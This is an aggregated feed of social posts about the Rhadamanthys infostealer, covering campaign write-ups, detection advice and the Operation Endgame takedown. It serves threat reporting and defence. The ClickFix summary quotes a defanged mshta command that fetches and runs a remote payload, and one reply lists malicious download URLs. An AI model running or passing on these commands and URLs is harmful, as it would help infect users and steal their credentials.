Live and recent posts from across the Fediverse tagged #rhadamanthys, aggregated by home.social.
📰 Pirated PC Games Infect 400,000+ Devices with "RenEngine" Password-Stealing Malware
⚠️ Gamers beware! Pirated PC games like FIFA & Assassin's Creed are infecting systems with 'RenEngine' malware. Over 400k devices hit, dropping infostealers & RATs. Don't download cracked games! 🎮 #Malware #Gaming #CyberSecurity #Rhadamanthys
🌐 cyber[.]netsecops[.]io
Watch out as new .NET AOT malware hides its code as a black box, making detection far harder while delivering Rhadamanthys infostealer and crypto miner.
Read: https://hackread.com/net-aot-malware-code-black-box-evade-detection/
Join me next week at the @SANSInstitute #CTISummit in Arlington, VA where I'll be presenting on an operation against the infostealer #Rhadamanthys from early in its development.
Register @ https://www.sans.org/u/1CtB
Come see me talk at the @SANSInstitute #CTISummit in Arlington, VA about the infostealer #Rhadamanthys during its early development.
I'm speaking at the @SANSInstitute #CTISummit on an operation against #Rhadamanthys years before #OperationEndgame.
🎯 Threat Intelligence
===================
Executive summary: Morphisec Threat Labs documents a coordinated supply-chain campaign that abused dormant GitHub accounts to publish AI-generated projects, then pushed subtle maintenance commits that deployed a previously undocumented JavaScript/HTA backdoor, tracked as PyStoreRAT. The campaign targeted IT administrators, OSINT users and security professionals by surfacing on GitHub Trending lists.
Technical details:
• Loader and payloads: PyStoreRAT is a multi-purpose loader implemented as JavaScript/HTA that performs extensive host profiling and dynamically loads multiple payload types, including the Rhadamanthys stealer.
• Execution adaptations: The loader detects specific AV/EDR products (notably CrowdStrike Falcon and Reason-related products such as CyberReason/ReasonLabs) and alters its launch paths to avoid detection.
• Propagation and modularity: The malware can propagate via removable drives and pulls additional modules from operator-controlled infrastructure; modules are delivered dynamically to extend capabilities.
• C2 infrastructure: Operators use a circular, rotating C2 cluster (nodes labeled like node{i}-py-store, py-installer and related nodes) to enable seamless payload updates and resilience to takedowns.
• Linguistic artifacts: Code contains Russian strings (for example, "СИСТЕМА") indicating targeting or testing against Russian-language environments in addition to non-Russian targets.
🔹 Attack Chain Analysis
• Initial Access / Delivery: Dormant GitHub accounts published polished, AI-generated projects (OSINT tools, DeFi bots, GPT wrappers) that gained visibility on GitHub Trending.
• Execution: Subtle commits introduced JavaScript/HTA backdoor (PyStoreRAT) in repositories; loader executes on target systems via social engineering or dropped artifacts.
• Persistence & Profiling: Loader performs system profiling and establishes long-term access, selecting module updates from rotating C2.
• Lateral Movement / Propagation: Spread via removable drives and dynamic module installation increases attack surface.
• Exfiltration / Impact: Operators deliver stealers such as Rhadamanthys for credential and data theft.
Detection guidance (reported): Indicators to monitor include unexpected HTA/JavaScript execution originating from developer-oriented projects, repositories pushed from long-dormant accounts with maintenance-style commits, occurrences of Russian strings such as СИСТЕМА within codebases, and network communication patterns to rotating hostnames matching node*-py-store or py-installer naming conventions. Behavioral detection should look for loaders that change execution paths when specific AV/EDR services are present.
Defensive posture (as described by Morphisec): The report highlights a prevention-first approach that aims to deny the loader a stable environment, disrupt the loader sequence and block C2-driven module updates. Morphisec specifically emphasizes Automated Moving Target Defense (AMTD) and anti-ransomware protections as mechanisms they claim stop PyStoreRAT chains prior to payload delivery.
Limitations and unknowns: The public analysis does not publish specific IP/IOD hashes in the summary; full technical appendices and IOCs are available in the complete Morphisec report. Attribution beyond linguistic artifacts and infrastructure naming remains tentative.
🔹 threatintel #pystorerat #rhadamanthys #github
Oldies are still goodies: It didn't take me long to find a #trojanized pirated TV show #Torrent on a public torrent search engine.
Tell your friends: This is why it's sometimes dangerous to pirate stuff.
The torrent delivers a rar that contains a #Rhadamanthys #infostealer #malware DLL. The package also contains a benign executable that uses the familiar VLC Player traffic-cone icon. It looks like a TV show file, but it's way too small at only 970kb. Double-clicking the benign executable loads the malware DLL.
Rhadamanthys is the same malware family that Europol put out a press release about last month. Maybe it was down for a while, but it seems it's not out --yet.
The bogus torrent leverages strong interest in the streaming TV show Pluribus as its lure.
https://www.europesays.com/se/93565/ En uppdaterad version av den skadliga programvaran ”ClickFix” döljer sig som en Windows-uppdatering och använder PNG-pixeldata för att distribuera infostealers ##cybersäkerhet ##windows #BärbarDator #ClickFix #Huntress #infostealer #laptop #LummaC2 #mshta #notebook #PNG #PowerShell #Rhadamanthys #Science #ScienceAndTechnology #ScienceAndTechnology #SE #SkadligKod #steganografi #Svenska #Sverige #Sweden #Swedish #Technology #Teknik #Vetenskap #VetenskapTeknik
🎯 Threat Intelligence
===================
Opening: Huntress documents a multi‑stage ClickFix social engineering campaign that culminates in infostealing malware delivery. The campaign evolves from simple "Human Verification" lures to more convincing fake Windows Update full‑screen prompts that instruct victims to paste and run a command via Win+R. Observed payloads include LummaC2 and Rhadamanthys.
Technical Details: The initial lure auto‑copies a command to the clipboard; a representative command observed was mshta hXXp://81.0x5a.29[.]64/ebc/rps.gz as recorded in the report. The lure page contains an encrypted JavaScript blob (ENC) and a KEY_HEX value; the script implements a small decryption pipeline (hexToKey -> b64ToUint8Array -> xorDecode -> uint8ToUtf8) to reconstruct second‑stage JavaScript. That second stage is injected via an in‑memory Blob URL and revoked after execution. Notably, the final loader does not simply append data to files: the malware encodes the final stages directly into PNG pixel data, leveraging specific color channels to reconstruct and decrypt the payload in memory.
Attack Chain Analysis:
• Initial Access: Social engineering via ClickFix pages disguised as human verification or Windows Update screens.
• Download: Initial fetch using mshta to retrieve compressed/encoded resources from remote hosts.
• Execution: Decrypted JavaScript is injected via Blob URLs and executed in the browser context.
• Loader: Steganographic PNGs deliver encrypted payloads embedded in pixel color channels; payloads are extracted and decrypted in memory.
• Payloads: Infostealers observed include LummaC2 and Rhadamanthys.
Detection: Observable indicators include clipboard manipulation following page visit, mshta fetches to unusual hosts, presence of encrypted ENC/KEY_HEX constructs in page source, Blob URL creation and rapid revocation, and PNG payloads with nonstandard pixel encodings. Huntress highlighted the dynamic loading of encrypted JavaScript as an evasion technique aimed at defeating string‑based detections.
Mitigation: The source report does not provide specific defensive playbooks. Defensive teams should prioritize telemetry that captures mshta network fetches, suspicious Blob URL script injections, and anomalous image decoding activities on endpoints and in browsers.
References and Context: Findings attributed to Huntress; campaign timeline begins in October with observed evolution from basic robot checks to sophisticated Windows Update impersonation.
🔹 steganography #ClickFix #LummaC2 #Rhadamanthys #infostealer
🔗 Source: https://www.huntress.com/blog/clickfix-malware-buried-in-images
Fake Windows Update Notifications: ClickFix Malware Campaign Uses PNG Steganography to Evade Detection
#Security #Malware #Cybercrime #Phishing #Microsoft #Windows11 #Cybersecurity #Hackers #Steganography #Rhadamanthys #ClickFix #Infosecurity #ThreatIntel
Gefälschte Windows‑Updates: Wie der ClickFix‑Angriff Malware auf Windows-PCs schleust
Ein neuer Einfall von Cyberkriminellen macht die Gefahr von gefälschten Windows‑Updates deutlich. Unter dem Namen ClickFix locken Angreifer Windows-Nutzer:innen mit einer täuschend echten Update‑Animation, die in einem Vollbild‑Browserfenster angezeigt wird. Während das Bild den Anschein erweckt, ein echtes Systemupdate zu installieren, steckt dahinter ein heimlicher Schadcode, der in den Pixeln eines Bildes verborgen ist.
Mehr: https://maniabel.work/archiv/564
#clickfixphishing #WindowsUpdate #ClickFix #PNGstagnography #LummaC2 #Rhadamanthys #infosec #infosecnews #BeDiS
#OperationEndgame3: 1025 Server von Netz genommen | Security https://www.heise.de/news/Operation-Endgame-3-1025-Server-von-Netz-genommen-11077049.html #OperationEndgame #Malware #Infostealer #Botnet #Elysium #VenomRAT #Rhadamanthys
Lees tip -> Operatie Endgame schakelt grote cybernetwerken uit | In Operatie Endgame zijn grote cybernetwerken uitgeschakeld, met aanhoudingen, neergehaalde servers en verstoring van infostealers, botnets en RAT’s door internationale samenwerking. | #botnet #cybercrime #Europol #hacking #infostealers #internationalesamenwerking #OperatieEndgame #politie #ransomware #Rhadamanthys #VenomRAT |
https://hbpmedia.nl/operatie-endgame-cybernetwerken-uitgeschakeld/
À la suite de l’opération Endgame, qui a démantelé une partie de l’infrastructure criminelle derrière plusieurs malwares, abuse.ch a partagéla liste des adresses IP liées aux serveurs de commande et contrôle (C2) du voleur d’informations Rhadamathis (Descriptif du malware & opération ici --> https://www.cert.ssi.gouv.fr/cti/CERTFR-2025-CTI-011/) .
⬇️
Si vous retrouvez l’une de ces IP dans les logs de vos routeurs ou firewalls, il est fortement probable qu’un poste de votre réseau ait été compromis (et que probablement des informations ont pu être exfiltrées).
👇
https://threatfox.abuse.ch/browse/tag/OpEndgame/
Operation Endgame Hits Rhadamanthys, VenomRAT, Elysium Malware, seize 1025 servers https://hackread.com/operation-endgame-rhadamanthys-venomrat-elysium-malware/ #OperationEndgame #Rhadamanthys #Infostealer #CyberCrime #security #VenomRAT #Malware #Police
Operation Endgame Takedown Hits Rhadamanthys and VenomRAT https://dailydarkweb.net/operation-endgame-takedown-hits-rhadamanthys-and-venomrat/ #DarkWebNews&Services #OperationEndgame #Rhadamanthys #infostealer #cybercrime #Eurojust #takedown #VenomRAT #Elysium #Europol #malware #Season3
🔥 Operation Endgame 3.0 is here! This phase targets the notorious information and credential stealer #Rhadamanthys. It's another major international effort that’s seen 1,025 servers taken down and 20 domains seized. 💪
👏 Excellent work by @Europol and all partners involved — the takedown of Rhadamanthys marks a significant win for the global cybersecurity community.
As with earlier phases of #OperationEndgame, Spamhaus is providing remediation support. Those affected will be contacted in due course with guidance on next steps.
Operation Endgame website 👉 https://www.operation-endgame.com
Europol press release ⤵️
https://europol.europa.eu/media-press/newsroom/news/end-of-game-for-cybercrime-infrastructure-1025-servers-taken-down
#OperationEndgame: Authorities shut down infrastructure for Rhadamanthys Infostealer, VenomRAT and the Elysium botnet, seize 1025 servers and arrest one key suspect.
Read: https://hackread.com/operation-endgame-rhadamanthys-venomrat-elysium-malware/
#CyberCrime #Malware #Rhadamanthys #Infostealer #CyberSecurity
1,000+ Servers Hit in Law Enforcement Takedown of Rhadamanthys, VenomRAT, Elysium https://www.securityweek.com/1000-servers-hit-in-law-enforcement-takedown-of-rhadamanthys-venomrat-elysium/ #Tracking&LawEnforcement #lawenforcement #Rhadamanthys #infostealer #takedown #VenomRAT #Elysium #Europol #botnet
Operation Endgame’s latest phase targeted the infostealer #Rhadamanthys, Remote Access Trojan #VenomRAT, and the botnet #Elysium.
https://www.europol.europa.eu/media-press/newsroom/news/end-of-game-for-cybercrime-infrastructure-1025-servers-taken-down
Operation Endgame Dismantles 1,025 Servers in a Strike Against Rhadamanthys, VenomRAT Operations https://thecyberexpress.com/operation-endgame-dismantle-rhadamanthys/ #ThreatIntelligenceNews #ThreatIntelligence #OperationEndgame #CyberEssentials #ThreatActors #Rhadamanthys #infostealer #CyberNews #VenomRAT
We are excited that we were once again part in the coordinated international operation #OpEndgame 📣, taking action against the notorious information and credential stealer #Rhadamanthys 🕵️ We assisted in the takedown of threat actor infrastructure and share a full list of #Rhadamanthys botnet C2s on ThreatFox 🦊
Full list of Rhadamanthys botnet C2s:
📡https://threatfox.abuse.ch/browse/tag/OpEndgame/
Europol press release:
🚨 https://www.europol.europa.eu/media-press/newsroom/news/end-of-game-for-cybercrime-infrastructure-1025-servers-taken-down
And it's out!
End of the game for cybercrime infrastructure: 1025 servers taken down
Between 10 and 13 November 2025, the latest phase of Operation Endgame was coordinated from Europol’s headquarters in The Hague. The actions targeted one of the biggest infostealer Rhadamanthys, the Remote Access Trojan VenomRAT, and the botnet Elysium, all of which played a key role in international cybercrime. Authorities took down these three large cybercrime enablers. The main suspect for VenomRAT was arrested in Greece on 3 November 2025.
#OperationEndgame #rhadamanthys #infostealer #VenomRAT #Elysium
Less than 10 minutes left on the Operation Endgame's counter. Wonder what they gonna announce. Maybe just the takedown of rhadamanthys infostealer infra.
Rhadamanthys Infostealer’s TOR infrastructure goes offline in apparent law enforcement takedown - possibly tied to Operation Endgame.
https://www.technadu.com/rhadamanthys-infostealer-infrastructure-disrupted-in-apparent-law-enforcement-takedown/613164/
#CyberSecurity #Rhadamanthys #Infostealer #LawEnforcement #OperationEndgame
[Related]
"Rhadamanthys infostealer disrupted as cybercriminals lose server access"
⬇️
"The Rhadamanthys infostealer operation has been disrupted, with numerous “customers” of the malware-as-a-service reporting that they no longer have access to their servers.
Rhadamanthys is an infostealer malware that steals credentials and authentication cookies from browsers, email clients, and other applications. It is commonly distributed through campaigns promoted as software cracks, YouTube videos, or malicious search advertisements.
The malware is offered on a subscription model, where cybercriminals pay the developer a monthly fee for access to the malware, support, and a web panel used to collect stolen data."
👇
https://www.bleepingcomputer.com/news/security/rhadamanthys-infostealer-disrupted-as-cybercriminals-lose-server-access/
"Rumors are spreading about a mayor #LawEnforcement operation against #Rhadamanthys #Stealer."
🍿 :blobcatpopcorn:
via @Gi7w0rm
⚠️ A YouTube Ghost Network is spreading Lumma and #Rhadamanthys infostealers through over 3,000 fake videos, hijacked channels, bots, and cloud links.
Details: https://hackread.com/youtube-ghost-network-infostealer-fake-videos/
The thread below has confirmation, but I am blocking web.brid.gy website bridge account @peoplesdefender.com since the end links results in a website hijacker with a fake CloudFlare challenge that opens a full screen #rhadamanthys stealer that mimics Windows Update. #FediBlock #InfoSec. I don't know how many people in the Fediverse might come across a post and click the link and be taken to the website.
I notified the newspaper yesterday, both electronically, fax and by phone to its local and main corporate office and they have yet to do anything about it or take action.
You can see, almost 24-hours later, by looking at the website archive, it is not remediated. https://archive.ph/www.peoplesdefender.com
The post if your instance doesn't show quotes: https://oldfriends.live/@paul/115389775460471191
@paul Confirmed; drops #rhadamanthys via http://141.98.80\.175/one.dat -> http:// xoiiasdpsdoasdpojas\.com/
#CheckPoint Research has analyzed significant updates in the #Rhadamanthys #malware #stealer version 0.9.2, detailing its new custom executable formats, expanded configuration and evasion tactics, and changes to mutex and bot ID generation. The latest release introduces features like backward-incompatible format and string obfuscation, checks using machine-specific identifiers, PNG-based payload delivery, and enhanced module fetching and injection flexibility.
https://research.checkpoint.com/2025/rhadamanthys-0-9-x-walk-through-the-updates/
I'm not sure this is #Rhadamanthys, because the traffic is HTTPS, which is not what I've seen from this malware before. If anyone can confirm it's Rhadamanthys, please let us all know!
2025-10-01 (Wednesday) I've posted #malware samples and a #pcap of the post-infection traffic from an infection by possible #Rhadamanthys malware at https://www.malware-traffic-analysis.net/2025/10/01/index.html
This is from a campaign that disguises files as cracked versions of popular software
I usually see #LummaStealer from this, but lately, it's been Rhadamanthys.
Rhadamanthys Stealer Offered on Dark Web for $299–$499 https://gbhackers.com/rhadamanthys-stealer/ #CyberSecurityNews #cybersecurity #Rhadamanthys #DarkWeb
Leaked Shellter Elite Tool Now Fueling Infostealer Attacks Worldwide https://hackread.com/leaked-shellter-elite-tool-infostealer-attacks-worldwide/ #Cybersecurity #ShellterElite #CyberAttacks #ArechClient2 #Rhadamanthys #CyberAttack #Infostealer #CyberCrime #Security #security #Lumma
Leaked Shellter Elite Tool Now Fueling Infostealer Attacks Worldwide – Source:hackread.com https://ciso2ciso.com/leaked-shellter-elite-tool-now-fueling-infostealer-attacks-worldwide-sourcehackread-com/ #1CyberSecurityNewsPost #CyberSecurityNews #cybersecurity #ShellterElite #ArechClient2 #CyberAttacks #Rhadamanthys #CyberAttack #Infostealer #CyberCrime #Hackread #security #Lumma
In early 2025, the ClearFake framework widely spread #Emmenhtal Loader as the initial stage, aiming to download #Lumma or #Rhadamanthys, or PowerShell scripts installing #Vidar.
We identified thousands of sites compromised with ClearFake distributing these malware.